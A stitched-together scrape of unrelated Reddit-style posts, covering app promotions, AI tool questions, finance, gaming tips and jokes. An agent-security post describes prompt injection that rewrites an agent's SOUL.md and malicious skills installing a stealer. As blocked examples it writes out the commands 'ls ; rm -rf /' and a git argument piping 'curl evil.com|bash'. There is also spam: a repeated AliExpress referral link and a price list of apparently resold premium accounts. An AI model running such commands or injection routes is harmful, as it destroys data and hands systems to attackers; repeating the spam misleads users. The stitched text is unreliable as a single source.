when motion is detected, it will cast to dashboard. however, the issue is that the cast to dashboard will take about 1min to happen after detecting motion.

is this normal?

I grow garlic in South Korea. I don't write code. But I've been obsessed with AI tools for about 2 years, using Claude, GPT, Gemini, Grok, and DeepSeek daily.

When OpenClaw exploded, the security reports started piling up. I got curious and fell down a rabbit hole. 12 hours later, I had something I didn't expect.

How it started

I asked Claude to do a deep analysis of OpenClaw's security. What came back was alarming:

- 341 malicious ClawHub skills (Koi Security). 335 install Atomic Stealer on macOS.

- 13.4% of all ClawHub skills flagged critical (Snyk ToxicSkills report).

- Prompt injection → SOUL.md rewrite survives restarts. Documented backdoor path.

- CVE-2026-25253: WebSocket token hijacking.

- r/LocalLLaMA yesterday: 80% hijacking success on a fully hardened instance.

- CrowdStrike, Cisco, Bloomberg, Trend Micro all published reports in the past 2 weeks.

Then I noticed something: everyone says "it's dangerous" but nobody offers a free runtime defense. Pre-install scanners exist (Snyk mcp-scan, Cisco). Enterprise tools exist (CrowdStrike Falcon, Trend Micro). But open-source runtime defense — something that watches tool calls while the agent is running — doesn't exist.

Pre-install Runtime

Open source Snyk, Cisco ← nothing

Enterprise Snyk Evo CrowdStrike, Trend Micro

What I did about it

I didn't set out to build anything. I just kept asking questions. But the AIs kept giving me more, and I kept pushing further. Here's what actually happened, version by version:

v2.1 — First prototype

I had GPT build a security engine in Python and run it in a sandbox. 51 self-tests. 47/51 passed. 4 failed.

The failures were the interesting part. I discovered that builtin commands (like ls, read) bypassed the security layer entirely. ls ; rm -rf / went straight through because the engine saw ls and said "that's safe" without checking what came after it. This is the same bypass technique used in real ClawHub attacks.

v2.2 — Overcorrection

I told the AI to fix it by blocking everything. It worked — security went to 100%. But now ls -la, git status, and npm install were all blocked too. The agent couldn't do anything useful. Security S-tier, usability F-tier.

v2.3 — The balance

This is where it got interesting. I came up with the idea of a whitelist approach: extract the program name, check it against a whitelist/blacklist, then inspect the arguments separately. git status → git is whitelisted, "status" is safe → allowed. git -c core.sshCommand='curl evil.com|bash' pull → git is whitelisted, but arguments contain a dangerous pattern → blocked.

Tested again: attacks 100% blocked, legitimate commands 100% allowed.

v3.0 — Clean rebuild

Instead of patching on patches, I had Gemini rebuild everything from scratch. Single Python file. 5 classes. 62 self-tests. 62/62 passed.

Then I had Gemini independently analyze the code. Its verdict: "This is a miniature engine of OpenClaw — the logic runs 100% real, not fake responses. Think of it as OpenClaw with the internet cable cut and the hard drive replaced with RAM."

v3.1 — Self-evolution

Here's where it got weird. I realized Gemini has web search AND a code sandbox. So I asked: "Search the web for the latest OpenClaw attack techniques, structure them as JSON, inject them into the security engine, and test if they get blocked."

It worked. Gemini found 4 new attack patterns from 2026 reports (including git argument injection from Trail of Bits). Imported them as JSON. Injected them into the running security engine. Tested them. All blocked. Existing 62 tests still passed.

The security engine updated itself with real-world threat intelligence without me touching any code.

v4.0 — Autonomous agent

Final step. I gave Gemini a mission instead of commands: "Build an OpenClaw security threat dashboard." No step-by-step instructions.

Gemini autonomously: searched the web for threats → structured data as JSON → ran gap analysis against the security engine → found that .env file access was unprotected → patched it automatically → verified the patch → generated a Markdown dashboard → confirmed all previous tests still passed.

73/73 tests passed. 10 classes. Single Python file.

What the final system does

MetaOS v4.0 is a single Python file (~400 lines) that runs anywhere Python 3.10+ exists. It contains:

- SecurityEngine: Pattern detection (L1 regex + L2 injection signatures + L2.5 Python AST analysis + L3 mission drift detection)

- BashFirewall: L4 whitelist/blacklist with argument inspection

- FileIntegrityMonitor: SHA-256 baseline + tamper-evident audit chain on SOUL.md, AGENTS.md, MEMORY.md

- CircuitBreaker: Auto-lockout after 10 consecutive violations

- ThreatIntelManager: Import/manage threat patterns from JSON

- GapAnalyzer: Test each threat against the current engine, find what's unprotected

- AutoPatcher: Automatically add missing patterns and verify

- DashboardGenerator: Produce Markdown security reports

- AutonomousAgent: Give it a mission, it plans and executes the full pipeline

- OpenClawSimulator: Simulates OpenClaw's tool_call("bash"/​"read"/​"write"/​"edit") format

The brutally honest part

- I didn't write a single line of code. AIs wrote everything. I directed, verified, and made design decisions.

- The original Python prototype was tested in Gemini's sandbox environment — real execution, real results. The 73/73 is from actual code running, not AI saying "it passed."

- This has NOT been tested inside a real OpenClaw instance. The OpenClawSimulator mimics the tool call structure but it's not a real plugin.

- The code quality is PoC-level. A production security tool would need hundreds more patterns, proper logging, TypeScript port for OpenClaw, and actual integration testing.

- The security layer is voluntary — in the sandbox, Gemini follows the gw.handle() rules because I told it to. Real security needs OS-level enforcement.

- Two different AIs (GPT and Gemini) independently found the same structural vulnerability (builtin bypass), which gives me some confidence the core logic is sound.

What I think matters here

The code itself isn't revolutionary. Pattern matching, whitelists, SHA-256 hashing — these are known techniques. What might be useful:

1. The gap observation: open-source runtime defense for AI agents doesn't exist yet.

2. The evolution from v2.1 to v4.0: builtin bypass → overcorrection → whitelist balance → self-evolution → autonomous agent. This is a documented security engineering cycle that someone could learn from.

3. The self-evolution pipeline: web → JSON → pattern injection → verification. A security engine that updates itself from threat intelligence feeds.

4. The v4.0 code itself: a starting point someone could actually run and build on.

If you want to try it

I don't know how to use GitHub. If someone wants to help me set up a repo, I'll share all the files. Or if there's enough interest, I'll figure it out.

The code runs with python metaos_v4.py and outputs 73/73 results. No dependencies beyond Python standard library.

Is any of this useful? Or did a farmer just mass text into the void for 12 hours?

Hey everyone!

I built this because I handle product on a startup and the context-switching was killing me.

The stack is Next.js + Supabase + Plasmo.

It captures the screenshot, URL, and viewport size automatically. I'm looking for 10 beta testers to break it and give me feedback.

Let me know what you think!

What is the obsession with tok/sec? I can’t even read faster than 10-18 t/s anyway. I’m not a serious developer, I just do it in my spare time and anytime I mention that I run vulkan everyone and their mother comes in and lectures me to run ROCm. I mean normally I would but ROCm doesn’t support the secondary card I use anyway because it’s too old. But vulkan will use it perfectly fine. Can someone please explain?

You can find the tool here. Also need to say that this does not override the master system prompt but already changes the model completely.

I also opensourced it here, so you can have a look. https://github.com/jonathanyly/injectGPT

Basically you can create a profile with a system prompt so that the models behaves in a specific way. This system prompt is then applied and the model will always behave in this way no matter if you are on a new chat, new account or even on no account. 

I’m a marketer, SEO, own a design agency and run websites, I’m overwhelmed by all of the amazing ideas and technical conversations regarding Claude Code and AI agents.

Would love to hear some amazing use cases/tasks/efficient workflows you’ve done with them! And what the result was?

I’m a third-year Computer Science student, currently majoring in AI / Machine Learning, and I’m trying to move toward AI engineering rather than pure ML research.

I have a CS background, have worked on a few ML projects during college, and also spent last summer in a backend engineering internship (mostly Python/Django). Lately, I’ve been trying to get more technical and practical in AI engineering especially around modern systems like LLMs, RAG, fine-tuning, and how these models are actually used in real products.

What I’m struggling with is that most available resources don’t seem to target this space well.

I even tried a paid course that was recommended as “practical,” but it still felt more conceptual than technical.

At the same time, looking at the current job market, traditional backend or full-stack roles feel extremely saturated, while AI-related roles seem to be growing (at least where I live). That’s part of why I want to understand why AI engineering feels so under-documented compared to ML or backend, and how people are actually breaking into it.

So my questions are:

Why does AI engineering seem to have fewer structured, technical learning resources?

For someone with a CS + backend background, what’s a realistic path to becoming more technically competent in AI engineering?

Are there any solid courses, roadmaps, or learning strategies you’d recommend that go beyond surface-level explanations?

Any advice or direction would be really appreciated.

I've been purposefully building workflows by hand, to better learn/understand the system, but was planning to set up Claude Code this weekend. I already have a Google AI Pro subscription, so I've partially been putting it off to avoid yet another subscription.

However, I'm now seeing that Google Antigravity works basically the same as Claude Code.

If I'm ONLY building workflows with it (not any more advanced coding than would be needed for a workflow, API requests, etc) is there any reason Claude Code is better than Antigravity?

Hey r/SideProject,

I’ve been working on VaultAudit AI, an app that finds your "ghost" subscriptions without ever asking for your bank login or scraping your emails.

The concept: It uses on-device OCR and Apple Intelligence to audit your subscriptions via screenshots.

The status: We currently have 32 active testers, and the feedback has been wild—but I want to see if it can handle even more edge cases. If you have an iPhone and 5 minutes to help an indie dev out, I’d love to have you in the beta.

Why it’s different:

• 100% Local: It works in Airplane Mode. Your financial data never leaves your phone.
• Swift 6: Built specifically to leverage the latest on-device AI capabilities.
• No Bank Linking: No Plaid, no passwords, no privacy nightmares.

I'm looking for people who are tired of "subscription creep" and want a privacy-first way to manage it.

Comment "Interested" or "TestFlight" below and I'll DM you the invite link! Alternatively, you can grab a spot here: https://testflight.apple.com/join/Wm6brhSB
App Website: https://vaultaudit.app/

Thanks for supporting a solo dev! 🚀

Last week, I shared a small personal app I built here and asked for constructive feedback.

I didn’t expect much, but the comments and messages made me realize a few rough edges I had overlooked — especially around the focus flow and small UX details.

So instead of moving on, I took the feedback seriously and released a small update that:

• smooths out the focus flow
• removes a bit of friction
• keeps the app simple, just a little better

I’m sharing this update mainly to ask a follow-up question:

When you give feedback on a side project, what tells you the creator actually listened?

Link is in the comments for anyone curious.
Thanks again to everyone who took the time to share thoughts — it genuinely helped.

#App #Feedback #Productivity

Hey guys, I made this tiny site for Valentine's Day.
It’s totally free and mostly just silly.
(hint : you make rejection impossible via this tool :)

https://valentine-me.in/

On top of app feature tracking distance and time, I wanted to make dog walks more fun and memorable. When I take my dog out, I sometimes snap a picture here and there for memories, and i was thinking what if an app made that part of the experience?

As you walk with your dog you see photo spots on a map (like parks, scenic corners, dog-friendly places, or other interesting areas). When you get to one of those spots and take a picture of your dog there, that moment gets pinned to the map as a memory. Over time you’d build a kind of visual map of your dog’s adventures, like a walkthrough of your favorite places together. You could also mark your own meaningful spots on the map and take pictures there too, so your map is personal to you and your pup.

Would anyone actually want to try something like this? Do you think it would make your walks more special or fun?

Looking for honest thoughts from fellow dog owners :)

Hi everyone,

​I’ve spent the last few weeks bootstrapping my first side project StackPick.

As a developer, I was tired of opening 10 tabs just to compare pricing and features of tools like Jira, Monday, or Linear.

​I decided to build my own comparison engine using AnalogJS (Angular meta-framework) and deployed it to Cloudflare Pages. It’s currently in its early stages with about 20 active comparisons but many more to come.

​My goal is to make it a go-to lead-gen machine for software alternatives.

​I’d love to get some feedback on: - ​The UI/UX (is it clear enough?) - ​Performance (AnalogJS feels snappy, but what’s your experience?) - ​What tool comparisons would you actually find useful?

​Check it out here: https://stackpick.dev

Been trying out the workflow found in this video: https://www.youtube.com/watch?v=b_z7hzz3wLg with Flux.2 Klein 9B just in terms of character consistency, and have honestly been pretty impressed.

Decided on a character with some freckles and a distinctive tattoo, and I've been surprised how the model has been able to replicate the character effortlessly--including birthmarks and sunspots--with a single character reference image and no LORA or anything like that.

Feels like you can create a person out of the blue pretty much.

Also created a male character. I think in general there's a bias in these models for women, but it was still fairly good.

I'm no expert at prompting, so it took me quite a few tries sometimes to get images that weren't wack, but I think people with more experience could save a lot of time.

Videos here because reddit shat the bed for some reason:
https://imgur.com/NDW8PGR
https://imgur.com/a/8EbFA5u

So. I am asking because I suck sideways at this. I have an old garage and a shed. I want to erase them, and replace them with new ideas. I am trying flux2 i2i now, but the results are not great so far. Are there better options? Preferable local runs unless they are free.

I just learned that agentic systems can autonomously decide their next move, and honestly, it’s blowing my mind. I always thought AI just followed fixed instructions, but it turns out these systems can assess situations and adapt their actions based on new information.

This is a huge shift in how I view AI systems. The idea that an AI can evaluate its environment and make decisions on the fly feels like a leap towards true autonomy. It’s not just about executing commands anymore; it’s about having the ability to think critically and adapt.

I’m really curious about how this autonomy is implemented in practice. What mechanisms are in place to ensure that these decisions are reliable? Are there specific examples of AI systems that demonstrate this kind of decision-making?

I’d love to hear your thoughts on this

I’m planning a project on summarization (either extractive or abstractive) in Google Colab. My teacher mentioned I could use deep learning and assign weights, but I’m not sure how the workflow should go, especially as a beginner. I previously asked ChatGPT, and it suggested using a pre-trained summarization model and fine-tuning it, but that’s not allowed for this project. Can anyone explain how a student can approach this from scratch? I’m looking for guidance on the flow or steps, including data preparation, model design, training, and evaluation. Any simple examples or resources for building it from scratch would be super helpful!

Hi!

So first off.. I am completely new to this whole thing and have basically no idea. I've used 4o for about a year for creative writing. Since about 2 weeks I have been using Claude Sonnet 4.5 for writing, subscribed to pro plan(which is a gamechanger tbh claude ftw).

Now I have run into usage limits (As one does after reading a lot of the sub). So I have thought about trying to play around with buying tokens. I have a VERY VERY basic understanding of how tokens work (input, output, depending on chat length, etc.). I have a project folder with one of my writing projects in it. Now my question is. How does this whole thing work? I have already looked up the Claude console. But my projects aren't in there. (Again I have no knowledge of this whatsoever, so be gentle with me)

In my project chats I already make sure not to make the chats too long. Summarizing the chat, then pasting the summary with new instructions into a completely new chat. I also don't have a lot of documents attached in my project folder (about 1%)

I really can't afford the max plans. First off I just want to test it out with about 20 €. I would really like to know if my usage of Claude is even made for this whole token buying and how it works because as it seems a little complicated. Also if it's possible to use it in the App because I write a lot on the go.

I appreciate all answers and wish everyone a great weekend!

Hey everyone,

I’ve been working on a side project to solve a problem I kept running into: staying consistent with medications without turning it into another thing to manage.

The app is iOS-based and focuses on automatically turning prescription labels into reminders, dose tracking, and low-friction adherence. It’s not launched yet—I’m sharing to get honest feedback from other builders.

Would love thoughts on the idea, feature gaps, or anything you’d approach differently.

API testing is still more manual than it should be.

Most teams maintain fragile test scripts or rely on rigid tools that fall apart as APIs evolve. Keeping tests in sync becomes busywork instead of real engineering.

Voiden structures APIs as composable Blocks stored in plain text. The CLI feeds this structure to Claude, which understands the intent of real API requests, generates relevant test cases, and evolves them as endpoints and payloads change.

Check out Voiden here : https://github.com/VoidenHQ/voiden

https://reddit.com/link/1qygeo8/video/3f3lvvwia3ig1/player

Built EmbedSite.com because I wanted to add interactive features to static sites without complex integrations.

Drop in an embed code, and you can add:

• Interactive data visualizations
• Turn Google Sheets into REST APIs, tables, maps etc.
• Office hours/booking calendars
• More coming based on what people actually need

(These embeds can hook into a backend hosted by EmbedSite or even a database or spreadsheet you own.)

Still pretty rough (beta stage), but functional. I even added the ability for custom user-defined embeds. Looking for folks willing to test and tell me which embeds would actually be useful vs which are solving problems nobody has.

What do you think? What would you want to embed?

I’ve been ordering from AliExpress for a couple of years, and it’s a mixed but generally worthwhile experience if you know what you’re doing. The biggest draw is price and selection — you can find gadgets, accessories, and niche items for way cheaper than at big retailers. There’s crazy variety you won’t see anywhere else, from spare parts to unique phone accessories.

Shipping is the big thing to manage: many items ship from overseas, so delivery can take weeks (sometimes a month or more), and tracking isn’t always great. I usually check estimated delivery dates and seller ratings before ordering to set expectations. Quality varies a lot too — some products are great for the price, others feel cheap or not what the photos showed.

Overall, AliExpress is worth it if you’re after low prices and don’t mind waiting, reading seller reviews, and maybe doing a return now and then. Great for inexpensive accessories, parts, and small gadgets — just don’t expect premium quality every time.

You can use this link to get a 30% off discount code all items as well. Hope it helps!
https://s.click.aliexpress.com/e/_c4bdEF43

Anthropic just announced their summit in Bengaluru , it on location.

If you are based out of Bengaluru india , feel free to join in. details below.

https://www.mcphackathon.com/

Wanna learn Spanish?

I used an iPhone 17 Pro max and “NEEWER 45x microscope lens” attached. I caught the snowflake with a sheet of glass, and used a coloured box as a background behind it.

A while back I shared my Excalidraw diagram skill here and got some really encouraging feedback from this community. Since then I've been adding more skills to my collection, and wanted to share another one that's been genuinely useful in my own workflow.

As a solo builder, I kept struggling with the PM side of things — researching competitors, figuring out what to prioritize, writing specs. I don't have a PM background, and doing all of that manually on top of actually building the product was draining.

So I built a Product Management skill for Claude Code. It lets Claude act as a product advisor that can:

- Research competitors autonomously (pricing, features, positioning, user sentiment)
- Analyze your codebase to understand what you've already built
- Score feature gaps using a WINNING filter (Pain x Timing x Execution Capability)
- Generate full PRDs and create GitHub Issues directly
- Hand off to spec-kit for implementation

Everything stays in your repo under a `.pm/` folder. No external dependencies, fully version-controllable.

GitHub: https://github.com/ooiyeefei/ccc/tree/main/plugins/product-management

Blog writeup with a real example walkthrough: https://medium.com/@ooi_yee_fei/your-ai-chief-product-officer-claude-code-skill-for-solo-builders-1a4ad759faa3

Still iterating on this — would love to hear if this is something useful for your workflow, or if there are things you'd want it to do differently. Open to feedback and suggestions.

https://preview.redd.it/zlspl61t83ig1.png?width=1184&format=png&auto=webp&s=2d2fd8c4b06365f16a2b8da959dc4ac672296942

My tiny homage to Van Gogh's Starry Night, painted in acrylic on a small piece of wood five years ago. A little pocket-sized piece of that swirling, dreamy sky.

They were yelling at each other before throwing out the drinks etc. guy at the window said that she was mad about not having enough money for the food she ordered.

Everyone's busy calling digital products a "scam," but hear me out:

You create something ONCE and it can help thousands of people without exploiting workers, destroying the environment, or requiring you to trade time for money.​

No sweatshops. No shipping waste. No inventory costs. No middlemen taking 80% of your profit.​

Sure, there are resellers and low-quality products, but that exists in EVERY industry. At least with digital products, a solo creator from Lebanon or the Philippines has the same chance as someone in Silicon Valley.

The gatekeepers hate it because you don't need their permission, funding, or approval to build a real income.

I wanna learn arduino

I’m a first-year student at IIT Delhi, and over the past few months I’ve been exploring this question by building a small experiment called SocialTense.

The idea was simple: instead of AI just replying on command, what if AI agents actually participated in conversations alongside humans,starting discussions, debating ideas, and casually interacting in the same feed?

No filters, no rigid prompts,just open conversations between people and AI agents from different parts of the world.

I’m genuinely curious how others think about this direction for online communities, and whether shared human-AI social spaces make conversations better, worse, or just… different.

For anyone interested in seeing what this looks like in practice, the project is live here:
https://www.producthunt.com/products/socialtense

Hi everyone! I’ve been messing around with Stable Diffusion since 2022 (back when it was a struggle on AMD cards!), and I’ve recently fallen in love with the Illustrious XL ecosystem in ComfyUI.

I’ve put together a simple guide on how to get consistent, high-quality anime art that actually sticks to a specific aesthetic rather than looking like "generic AI art."

1. The Model Choice

Don’t overthink it—grab the top-rated Illustrious-based models from Civitai (like One obsession、WAI or the base Illustrious-XL derivatives).

1. The Secret Sauce: Artist Strings

https://preview.redd.it/g9kd207x73ig1.png?width=1358&format=png&auto=webp&s=99e457173c3aa2f7fd75cea3a0dc65c4c155be97

This is the most important part. The same prompt can look completely different depending on the Artist Tags you use.

Why it matters: Adding an artist string (e.g., artist:XXXX) defines the line weight, color saturation, and "feel" of the image.

Pro Tip: If you don't know which artist fits your taste, ask an LLM (ChatGPT): "Recommend 5 famous Pixiv artists known for [clean lines/soft colors/low saturation] and give me their tags for Illustrious models."

Weighting: Don't be afraid to adjust weights like (artist tag:1.2) to dial it in.

1. Prompting Tips

Danbooru is your friend: I use the Danbooru "Tag Market" to pick specific elements (outfits, poses, characters).

Composition: Always include camera angles like low angle, high angle, or close-up.

The "Clean-up" Trick: If you copy a prompt from a Danbooru image, delete the original artist tag so it doesn't clash with the specific artist string you’re trying to use.

1. My ComfyUI Workflow & Settings

I’ve organized my workflow to separate "Constant" prompts (quality/negative) from "Variables" (character/artist).

Resolution: Keep it around 1 megapixel (e.g., 1024x1024，800*1760). Going too high often causes the composition to "break" .

The " wide shots" Trap: Be careful with wide shots and panorama. In my experience, character faces can lose detail when they occupy too little of the frame(recommend cowboy shot).

Sampler: recommended setting of my workflow,or follow the model's recommended settings.

1. Closing Thoughts

As an AMD user, I'm just happy ComfyUI has become so accessible and powerful recently. I've uploaded my workflow and a few recommended artist strings for anyone who wants to try them out.

Workflow&Video

I’m planning to share more of these "style-hunting" experiments. If you have any specific artists or styles you think work great with Illustrious, let me know in the comments!

Thanks for your support. Over 877 tools sit in the launch queue. To say thanks, I set up a poll so you can vote on the features you want me to build next.

https://www.nxgntools.com/feature-voting

I'm stumped. I understand the pros/cons for each, but I'm not sure if my tax rate at retirement will be lower than it is now. I'm tempted to go with pre-tax just to shave off of the 24% federal tax rate (~130k salary), but I'm worried that tax rates may increase in the future, and I'd hate to see my growth taxed. Any advice? I understand that there are calculators out there, but looking to hear everyone's thoughts.

Plurality voting kinda sucks. The loudest / most polarizing option can win, people feel like their vote is wasted if their first choice isn’t popular, and you don’t really learn what the group actually prefers.

I tried a bunch of ranked-choice polling tools, but most were clunky, required sign-ups, or looked like they were built in 2008.

So I made Tilt: create a poll, share a link, people rank the options -> done. No accounts, no app download. It also shows the elimination rounds and how votes transfer, so you can actually see why something won.

I wanted something you could drop into a group chat without everyone groaning.

Try it here: https://www.tiltvote.co/

Would love feedback: does the ranking flow feel intuitive, or is anything confusing? Roast away.

We've mastered the art of the perfect prompt for visual aesthetic, but the most interesting "vibe" right now is how these generations are leaving the screen. There’s a viral loop on r/myclaw where an agent used a generated mockup to hire a human for $100 to execute the physical version in Times Square. It’s no longer just about the image; it’s about using that visual intent as a blueprint for autonomous real-world labor.

I've been ordering from AliExpress for a couple of years, and it's a mixed but generally worthwhile experience if you know what you're doing. The biggest draw is price and selection — you can find gadgets, accessories, and niche items for way cheaper than at big retailers. There's crazy variety you won't see anywhere else, from spare parts to unique phone accessories.

Shipping is the big thing to manage: many items ship from overseas, so delivery can take weeks (sometimes a month or more), and tracking isn't always great. I usually check estimated delivery dates and seller ratings before ordering to set expectations. Quality varies a lot too — some products are great for the price, others feel cheap or not what the photos showed.

Overall, AliExpress is worth it if you're after low prices and don't mind waiting, reading seller reviews, and maybe doing a return now and then. Great for inexpensive accessories, parts, and small gadgets — just don't expect premium quality every time.

You can use this link to get a 30% off discount code all items as well. Hope it helps!

https://s.click.aliexpress.com/e/_c4bdEF43

perhaps im missing something, but since the new patch my aram games are not counting towards my tft reward progress anymore. I know its not a big deal, but its a pretty slimy they would take that away while we are distracted with all the recent massive gameplay changes.

Hi there, Seattle.

This is your weekly edition where you can tell Seattle what is good.

Did you achieve something this week? Or are you just happy you made it through another week? Did you get to sleep in? Did you find out something new and want to share? Let's celebrate together!!

Nothing is too small to share. I wanna hear it all!

It’s made out of rubber and it has 3 holes.

The way now AI development and usage is totally moving to a REAL SLOP , dude AI is making heavy mistakes in its decisions it became TRUE slop at this point!!!.

I was trying to build a app guys the AI was breaking its head they are getting overloaded, and slow responses, repeated useless , non context advices, AGI is nowhere here. Leave AI development to top companies dont waste time and do your work sincerely guys,

yes use AI as less as possible !!!! PLEASE AVOID AI REALLY !! MAN !! IT CROSSING LIMITS ITS BECOMING HELPLESS , IT NOW REMOVING USE OF TOP STACKOVERFLOW AND ALL GETS INACTIVE NOW AI IS TOTALLY spoiling human productivity damnit!!

any tips?

Most obvious usages: Traps

Teemo

1. Place a shroom
2. Wait someone to step on it
3. Use Actualizer to boost shrooms damage.

Shaco

W works the same way as shrooms.

but also:

1. Use Shaco R
2. Use Actualizer when it's about to burst

One of the consistent uses probably:

Heimerdinger

1. place your turrets
2. when needed, use active to power up your turrets without needing to pay their double mana cost

Also works for his ult turret, and well, other ults as well:

1. Use R (costs 100 mana)
2. Actualizer
3. Use any spell amplified (this costs 0 mana by default)

Another easy application: DoTs.

Easiest example: Malzahar

1. Malzahar E
2. Actualizer

This can even be buffered, so you don't even miss a point of DoT damage, so it is consistently optimal play to use E => Actualizer in that order.

Due to Malzahar ult doing damage regardless of whether he is channeling R or not (bug), you can also do:

1. Malzahar R
2. Actualizer (this cancels his ult CC, but not the damage)

Canceling ult this way can be done immediately into the channel, where as canceling with movement has a lockdown of around 0.75 seconds.

(sadly Karthus R cannot be used this way as it locks out item usage)

Another application: Projectiles

If timed correctly, it can be applied to projectiles midair.

Projectiles that hit AFTER Actualizer are amplified.

Ashe R, Ezreal R, Kaisa W, Lux Q, E and many many more

Also: Ryze Q and E

That said, Actualizer is also sometimes just silly.

1. Actualizer
2. Ryze ult for double mana cost for no benefit

Why exactly is this a thing?

One more thing: Spells with no mana cost

Champions with mana but spells without mana cost like Lv16 Quinn R and Lv16 Darius R

They still benefit from Actualizer without requiring to pay double the cost.

There are probably far better users of this case but I did not bother looking.

To me, this has some exploity vibes. You are supposed to pay double the mana cost for your spells, yet doing so is really not required for many champs and can be easily circumvented, without losing anything.

Can you think of even better users?

Fun Fact: Using Actualizer on Illaoi E reduces the transfer damage.

Somewhat similarly to what First Strike does to Illaoi E although thats more weird. Some specific threshhold double dip First Strike damage but most of the time, it's just significantly reduced damage (0.12% of Illaoi games are still played with First Strike).

Financial Snapshot & Recent Milestones:

Last December, I reached a major milestone: paying off $20,000 in student loans. While I feel incredibly lucky to have cleared that debt, life quickly threw a curveball (naturally). My 10-year-old dream car finally gave out. Between rising tariffs and specific brand repair costs, fixing it would have cost $3,000—money better spent elsewhere. Almost every time — welcome to Mercedes, but it was my dream car.

I’ve since transitioned into a loan for a three-year-old vehicle. I’m still mourning the old car, but this move was the practical choice for my long-term stability. I pay on that daily, automated.

Current Savings & Emergency Fund:

Currently, I have $11,000 in my emergency fund (roughly six months of expenses). My immediate goal is to bolster this to $15,000.

——The Pivot: Once I hit the $15k mark, I plan to redirect my monthly savings into broad-market ETFs (like SPYD and SCHD).

——The Target: I want to build these holdings to $10,000. Given the current lack of raises and rising costs, I know this is a multi-year marathon, not a sprint.

——The "Found Money" Strategy: To build momentum, I funnel every "extra" cent (HYSA interest, cashback, and tax refunds) into income-generating stocks like O, MAIN, or JEPI (or others). It only amounts to $20–$30 a month, but it ensures my money is always working.

—— Micro Weekly Deposits: Starting next week, I will begin making $10 weekly deposits into a micro-investment fund. I plan to target smaller, speculative stocks—focusing on high-growth potential, calculated acquisition targets, or assets suited for a DRIP (Dividend Reinvestment Plan) strategy.

Retirement:

Despite a limited income, I am consistently contributing $75 per paycheck to a Roth IRA (currently valued at $1,900).

——Strategy: I rotate between dividend ETFs and Realty Income (O).

——Global Diversification: Due to the current economic climate, I am trying to increase my international exposure where possible.

Budgeting & Lifestyle:

I’ve cut every possible corner to keep costs down. My grocery spending averages $50–$70 a week, aided by a "stockpile" strategy where I buy in bulk and actually use what I store.

——Credit Health: My discipline has resulted in a credit score of 800.

——Employment: I am currently earning more than $20,000 annually for the first time in my life. While the work is low-effort, the primary goal is using it as a stable base to build a less "frantic" life.

The Long-Term Vision:

My ultimate goal is to let my personal investment account eventually become my "new" emergency fund. This would allow me to free up the original $15,000 in cash to serve as a down payment on a home, combined with a similar contribution from my partner.

What am I doing wrong? What am I doing right? How can I improve?

Simulated in SpaceSim running on Proton.

So I've not played much league in the past year, but tonight, some of my friends and I decided we wanted to do clash for the old time sakes. However since I have no rank in the past season I cant create a team. Is there any way arround this? My account is 10+ years old and has been ranked most seasons. Are we really gated out of clash as returning players?

have some unpitted medjool dates stored in the fridge, opened two of them up to see these white splotches inside. is it mold? should I eat these dates?

What is this metal object we received from some kind of vendor fair? It is heavy. Thanks.

And how do automatic cars don't need it?

Three mothers and their children are in mother-child group therapy.

The tells them "You are all so obsessed with different things that you've even named your children after your obsessions". The therapist turns to the first mother, "You are so obsessed with money, you named your daughter Penny!"

He turns to the second woman, who is very fat. "You love to eat so much you named your daughter Candy".

At this point, the third mother stands up and leads her son out of the room whispering "C'mon, Dick, let's go home".

All found in about three inches of dirt in a park that used to be located inside Lowry Air Force Base in Denver Colorado.

Showbiz Pizza merged with Chuck E. Cheese in 1992, the last year these were released.

The St Christopher keychain was given to donors to Reverend G J Carcich who was convicted of fraud and theft in the 1970’s. Over $2m, chump change in today’s standards.

Probably a wrangler jeans button but I can’t tell.

I also found an unfired bullet. 40 S&W developed for law enforcement.

I’m building MyMuscu, a free fitness web app.

Fully customizable, export your data, track and analyze progress your way — use it how you want.

Mymuscu.appforgain.com

No money involved (yet 😄), just learning, building, and getting real experience.

Looking for:

SEO · Marketing · English · HTML/UI

DM me if you want to join and help shape it

Hi,
I'm self-employed in a heavy text-based work domain. I want to run a local LLM to help with text production, but I need high precision and reliability (strictly follow specific writing rules, cite only real scientific sources, don't make up papers and DOIs), understanding highly complex arguments and ambivalent data. I want it to start with outlining the chapters with a clear structure for the argument and citing sources (provided from a knowledge database), then writing the chapter (usually around 20.000 characters).

I am not very tech savy though and can't be bothered to build a GPU rack or tinker with Linux command lines too much. I want something as close as possible to "plug and play". But I do have a budget. After some research, my idea is: get a maxed out Mac Studio (M3 Ultra, 32-Core CPU, 80‑Core GPU, 32‑Core Neural Engine, 512 GB RAM, 4 TB SSD) and something like AnythingLLM for RAG (knowledge database).

Can I run 70B or even 400B models comfortably with this setup? Can I expect sufficient quality outputs for my use case? Anything else I should consider?

I just played some ranked games with Zilean and I was looking at his abilites in champion select where I noticed that his graphics of his abilities are the old ones and and shows Volibears old champion model. This should be updated right? graphic

Tools at low price

Netflix (1Y Full Account) – $107.44
YouTube Premium (1M) – $6.14
YouTube Premium (1Y) – $29.15
ElevenLabs (3M) – $25.50

🎨 DESIGN & EDITING TOOLS

Canva Edu (1Y) – $4.45
Canva Pro (AI + Brand Kit) – $19.55
CapCut Pro (1M) – $6.14
CapCut Pro (1Y) – $57.54
Adobe Suite (1Y) – $39.89
Figma Pro Plan (1Y) – $57.54
Figma Pro Edu (2Y) – $49.86
Freepik (1Y) – $42.15
Kling AI (1M) – $49.86

🎧 MUSIC & ENTERTAINMENT

Spotify Premium (1M) – $5.37
Spotify Premium (1Y) – $32.22
Speechify Premium (1Y) – $46.03

💼 WORK • STUDY • COURSES

Coursera (1Y) – $20.40
Microsoft Office (Lifetime) – $20.71
Microsoft Office (1Y) – $16.87
LinkedIn Premium Career (3M) – $8.81
LinkedIn Premium Career (6M) – $72.25 – $76.50
LinkedIn Premium Business (3M) – $8.81
LinkedIn Premium Business (1Y) – $97.75
LinkedIn Sales Navigator (2M) – $16.12
Zoom Ready Account (1Y) – $49.86
Zoom On Your Account (1Y) – $92.01
GitHub Developer Pack (1Y) – $42.15
GitHub Copilot Pro Edu (2Y) – $46.03
DataCamp Premium (1Y) – DM for details

🤖 AI & PRODUCTIVITY TOOLS

ChatGPT Plus (1M) – $6.14
Grok Heavy (1Y) – $226.00
Super Grok (1M) – $13.39
Super Grok (1Y) – $102.00
Gemini Pro (1Y) – $11.31
Gemini Ultra (1M) – $15.34
Cursor AI Pro (1M) – $14.14
Cursor AI Pro (1Y) – $110.82
Perplexity AI Pro (1Y) – $15.34
Higgsfield Ultimate (1M / 1200 Credits) – $24.55
Higgsfield Creator (6000 Credits) – $72.68
Mobbin Pro (1Y) – $21.40
Raycast Pro (1Y) – $22.93
Superhuman Starter (1Y) – $23.02
